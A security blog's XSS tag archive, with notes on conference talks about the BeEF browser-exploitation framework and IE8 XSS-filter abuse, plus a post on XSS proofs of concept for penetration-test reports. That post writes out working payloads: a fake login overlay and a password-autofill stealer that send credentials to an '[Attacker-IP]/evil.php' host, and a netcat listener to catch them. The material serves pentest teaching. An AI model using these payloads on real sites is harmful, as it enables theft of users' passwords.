Cатсн²² (in)sесuяitу / ChrisJohnRiley

Because we're damned if we do, and we're damned if we don't!

Tag Archives: xss

DEEPSEC: Ground BeEF: Cutting, devouring and digesting the legs off a browser

Ground BeEF: Cutting, devouring and digesting the legs off a browser

Michele Orru

So who thinks XSS attacks are lame?

Real-Life XSS Pwning :

  • 2005: Samy Worm
  • 2006: Yamanner worm
  • 2008 XSS in Obama Website
  • 2010: Apache pwned through XSS in Jira
  • 2010: Stored XSS in YouTube
  • 2011: Multiple XSS on Google,com

What is BeEF

Browser Exploitation Framework

Created in 2005 by Wade Alcorn. Rewritten recently to Ruby.

Powerful platform for client-side pwnage, XSS Post Exploitation and generally victim browser security context abuse.

Framework for penetration testers to select specific real-time attacks on browsers to demonstrate vulnerabilities and impact

Example: Using the browser behind a corporate firewall to access internal resources

  • Ping sweeps
  • DNS enumeration
  • Port Scanning
  • Network Fingerprinting

Exploiting Internal Services

– Exploits/JbossJmxUploadExploit
Takes advantage of the verb tampering issue in JMX console versions to send a HEAD request and perform unauthenticated actions on the remote JMX console.
Using the client system owned with BeEF through an XSS to perform this attack on internal systems. Use them as a pivot point.
Video of the attack –> YouTube

Achieving persistence

Once a user browsers away we lose the JavaScript injection!
2 ways to avoid this :
  • Create a 100% iFrame containing the real page
    • Second module also allows key logging in the iFrame
    • Frame Busting breaks this
  • Man in the Browser
    • CORS abuse (HTML5)
      • history.push
      • window.open

Module Autorun

Ported into the new version from the older PHP version
Add autorun: true in the command module config.yaml to autorun modules on hooking
Imagine autorun with Metasploit autopwn!

Tunneling Proxy

Once you’ve hooked a browser, you can use the tunneling proxy function to route requests through the hooked browser.
  • Receive requests as a proxy on BeEF
  • Translate these requests to XHRs (in-domain) and execute them in the hooked browser
  • Parse XHRs responses and send the data back through the proxy
Works like a charm on same-domain… needs to be extended further (plans are to port malaRIA to BeEF for cross-domain resources using Flash liberal cross-domain policies)
To activate the proxy, right-click a hooked host and select proxy through
Video of the Tunneling proxy –> YouTube


100% JavaScript based XSS scanner

Works cross-domain

Integrated into BeEF to scan for href based XSS in a browsers session. If a possible XSS injection point is found then the XSS is set to the BeEF hook.

Future DEV and Ideas

  • Optimisation for performance
  • Obfuscation, polymorphism and URL randomization
  • Improve XSSRAYS
  • Improve BeEF console
We want YOU! If you want to help develop BeEF get in touch!

Links :

  • Ground BeEF: Cutting, devouring and digesting the legs off a browser –> Overview
  • Ground BeEF slides –> PDF
  • BeEF Project Homepage
  • BeEF Twitter Account –> @beefproject 

Blackhat Europe: Universal XSS via IE8’s XSS Filters

Universal XSS via IE8’s XSS Filters (David Lindsay & Eduardo Vela Nava)

Abstract (source: Blackhat.com)

Internet Explorer 8 has built in cross-site scripting (XSS) detection and prevention filters. We will explore the details of how the filters detect attacks, the neutering method, and discuss the filters’ general strengths and weaknesses. We will demonstrate several ways in which the filters can be abused (not just bypassed) in order to enable XSS on sites that would not otherwise be vulnerable. We will then show how this vulnerability makes most every major website vulnerable to XSS in affected versions of Internet Explorer 8.

Talk Abstract –> Universal XSS via IE8s XSS Filters

Speaker Bio –> David Lindsay, Eduardo Vela Nava

The sordid tale of a wayward hash sign

Client-side XSS Filtering

  • XSS is extremely common.
  • Reflective XSS is detectable in the browser

Microsoft decided to implement an XSS filter in Internet Explorer 8 in an attempt to help users protect against this threat. Firefox has the NoScript plugin that performs the same kind of functionality. Chrome is also working on a similar feature.

Microsoft XSS design goals

…intended to mitigate reflected / “Type-1” XSS vulnerabilities in a way that does not “break the web.

— David Ross

  • compatible
  • secure
  • performance

Detection process (3 step process)

  • Examine all outbound requests for XSS patterns using heuristic filters
  • If heuristic matches outgoing HTTP request then create a dynamic signature
  • If signature matches HTTP response then neuter the response


Matches again GET/POST requests

23 Regular expressions (see http://p42.us/ie8xss/filters02.txt)

Dynamic Signatures

  • One created for each matching heuristic
  • Matches against inbound responses
  • Blacklisting regular expressions
  • Account for server side modifications

Neutering Process

  • No user interaction, just notify the user
  • Replace the flagged character(s) with the hash symbol: #
  • Render the altered response

Heuristic Breakdown

Check of fixed strings such as javascript: vbscript, as well as HTML tags/attributes and JavaScript strings.

Filter Abuse – Attacks made possible because of the filters


When an attack is detected, altering the response before rendering can have unintended consequences.

Example – An attacker supplies a bogus GET parameter of &foo=

This will trigger the XSS protection and disable any <script> tag on the target will be disabled

How useful is this ?

  • Disable client side security features
    • Block Framebusters
    • Escape Facebook’s CSS Sandbox
    • Any other JS based security controls

Simple 2:

An attacker inserts a string such as // <![CDATA[
var foo='<img src=x:x onerror=alert(0)>’;
// ]]>. When the filter neuters the //

unfiltered: // <![CDATA[
var foo='<img src=x:x onerror=alert(0)>’;
// ]]>

filtered: var foo='<img src=x:x onerror=alert(0)>’

Universal XSS Intro

Equals signs are neutered by the filter (using a RegEx).

Almost any equals sign could be neutered if a suitable trigger string was inserted

Example: &fake=’>anything.anything=

<img alt=”x onload=alert(0) y” src=”mars.png”> could then become

The browser would then interpret the previously inactive onload condition and create an XSS condition.

Crafting an attack

  • Identify a persistent injection
    • confirm and insert a suitable XSS string
  • View source to identify a trigger string
    • work backwards from target = sign
  • Create vulnerable URL to target page
    • append trigger string using a fake GET parameter

Moving Forward

The Fix from Microsoft –> Stop neutering equals signs, and start neutering other characters instead

These new filters don’t seem to open up another attack vector… but this isn’t 100%

Other mitigations:

  • Use another browser
  • Disable XSS protection in IE (not recommended)
  • Only earlier versions of IE8 are affected… so patch

Should you disable filters ?

No… benefits outweigh the risks.


  • Filter user input
  • Site-Wide anti-CSRF tokens
  • Make use of the response header opt-out


  • 0 – turns off the filter completely
  • 1; mode=block – turns on the filter in block mode
    • Not fully supported in all browsers
    • Doesn’t filter, prevents page from loading

Other browsers:


  • Only add-ons for XSS protection
  • NoScript
  • NoXSS (not recommended)

Webkit is developing XSSAuditor

  • Filter based
  • Sits between HTML parser and JS engine
  • Respects same control headers as IE
  • –enable-xss-auditor to enable

Additional Links

For more information please see the Blackhat Europe website

alert(‘xss’) – The slow death of XSS

Ever since I took my first baby steps in web application penetration testing, I’ve seen people using alert(‘xss’) and alert(document.cookie) to prove an application is vulnerable to cross-site scripting. Despite the title of this little rant (and yes, it is a rant), I’ve got no problem with that… up to a point. We need something simply, easy and visual to use in testing, and the alert pop-up has been the weapon of choice for a long long time. With that said though, there’s a time and place for a pop-up saying ‘xss’ or god forbid ‘pwnd’ or ‘hello world’. That time and place is in the lab when you’re testing. After all, if that’s your proof of concept attack in an official report, no wonder the managers, developers and people holding the purse strings don’t agree with your risk analysis.

You’ll be hard pressed to find a half decent developer or technically savvy manager that’s not heard of cross-site scripting. However, we’ve drilled it into people, that an XSS vulnerability is nothing more than a pop-up on the screen saying a witty message, or showing you your own cookie. In most cases we’re to blame for this reaction. After all, every time we demo an XSS flaw, that’s what we do…. good old alert(‘xss’).

So enough of the ranting, and on to the proof of concepts… after all, I can’t just leave you guys hanging without a solution, or at least a starting point. You’ll find examples like this (and probably better than this) all over the web. So take some time to look around and see what else there is you can do with XSS. You’ll be surprised what you can achieve with a simple reflective XSS attack.


I’ve used this type of injection on a few occasions, and even though there are other more interesting methods of achieving the same thing, the technique can be used to do a lot… including blanking out sections of the site with your own content (advert, link, fake news entry etc…)

<div style=”position:absolute;top:225px;left:126px;height=100px;width=100px;z-index:1;background-color:#FF3300″><form action=”http://%5BAttacker-IP%5D/evil.php”>Username:<br><input type=”text” name=”user”><br>Password:<br><input type=”text” name=”pass”><br><input type=”submit” value=”Logon”></form></div>

You can easily try this out yourself by pasting the above into a text editor and saving it as overlay.html. Opening it directly in your browser will bring up the rather obvious looking overlay (see orange screenshot). Why orange you may ask. Well, it’s so you can see where your overlay is when you’re working out the placement. It’s also find of hard to show management where your overlay is if it’s the same colour as the rest of the screen. For attackers, it’s got to look perfect. For a report and a demo, you also need to make it obvious so you can get your point across. It’s simple enough to change the background-color:#FF3300 to a colour of your choosing.

In this example the username and password information will be sent to the value of form action. In this case http://%5BAttacker-IP%5D/evil.php. You can simply set a netcat listener (nc -l 80) on a system to receive the information. It’s quick and easy, but doesn’t really give that full on attacker feel, as the user won’t get a response and timeout in the end. To prevent that, you can setup a php script to grab the info, or just do something quick and simple. I’ve been toying with a simple text file solution (quick and dirty).

As you can see, the solution uses a simple text file (302.txt in the above screenshot). This is fed into the netcat listener so that when our victim connects, they’ll receive a 302 redirect to whatever we add into the location. Obviously we can chain this and have them redirected to a Metasploit listener (see my ie_peers example video), or to anything else we want… BeEF for example!

Form Fiddling

Fiddling with forms is a little more fun and advanced than the above overlay option. Still it’s not exactly rocket science, else a non-programmer like me would never be able to manage it.

The basic idea is that by inserting JavaScript into the page (through stored or reflected XSS) you can change elements on the page after they’ve loaded. There’s a lot of different possibilities here, but keeping with our password stealing example from the overlay, here’s a simple example that alters the first form on the page [0] to a destination of the attackers choice.


The good thing about using the “onsubmit” event to make this change, is that if the user however over the submit link on the form, any pop-up will still be pointing to the official location. The change only takes effect when the user clicks submit. Then, as before, a simple netcat listener to wait for the communication from the victim machine. Even though this is an easy to implement attack, and it’s very effective, it’s hard to show screenshots of this in a report. Sometimes a picture is worth a thousand words. However, it’s great for live demos. Especially if you set the 302 redirect to send them back to the logon screen again (this time without the form changes). Most users will simple accept that they mis-typed their password.

Firefox Password Database / Single Sign-On

I was reminded of this attack vector recently as Jeremiah Grossman mentioned it on his Twitter feed. The basic premise of this attack is that Firefox will autofill saved passwords if the user has opted to save the logon information. Alongside Firefox I can also think of a few Single Sign-On tools that do the same sort of thing, and as a result should also fall foul to the same exploit (I need to do further testing to confirm this however).

By creating a hidden field as type password, the browser will autofill this with any saved password for the page. As this isn’t done straight away, a delay is imposed (using setTimeout) to delay the second action until the password is filled in and ready to be stolen.

javascript:document.write(‘<form><input id=pword type=password></form>’);<script>setTimeout(‘window.location =”http://%5BAttacker-IP%5D/evil.php?passwd=&#8221; %2bdocument.getElementById(“pword”).value’,100) </script>

The above example waits for 100 milliseconds and then performs a redirection (using window.location) to the attacker owned system. Again, it’s up to you what you want to do here. The window.location is a simple proof of concept, however it could be worked into a hidden iFrame, or even an AJAX request so that the victim isn’t aware of the transaction.


These are all simple examples, but should be enough to get you started on a working proof of concept for your next XSS. With more time you can make these sneakier, better and a whole lot more evil. Where you take them from here is up to you.

Cross-Site Scripting might not be as exciting as SQLInjection or File includes…. but it is what you make of it. If you make it pop-up a box saying how 1337 you are, then don’t expect to get your message across.


If you’re interested in learning more about what’s possible with XSS then I’d suggest checking out the XSS book from Syngress, as well as RSnake’s blog/forum over at http://ha.ckers.org. For more advanced exploitation frameworks, checkout the Browser Exploitation Framework (BeEF).

Without these resources this post wouldn’t have been possible.

TYPO3 Advisories (TYPO3-SA-2009-016)

Some people may have noticed the addition of an “advisories” section to the blog over the last few days. Despite the fact I’m drugged up on painkillers and muscle relaxants, I managed to post up some information about the newest TYPO3 Security Advisories released in the past week.

Although the latest additions are basic XSS type vulnerabilities, I thought it was worth adding some information to the text from the TYPO3 security team. Once I’m a little less dosed up, I’ll try and add some example XSS strings (purely for educational purposes). I’m a believer in responsible disclosure, but a part of that is obviously disclosing the vulnerability and how it can be tested. Without that, security practitioners end up with a list of possible exploits and no way to demonstrate this to their clients. I personally hate nothing more than having to write “vulnerable to unpublished exploit” in a report, and often see those kind of vulns ignored or pushed to the back of the pile.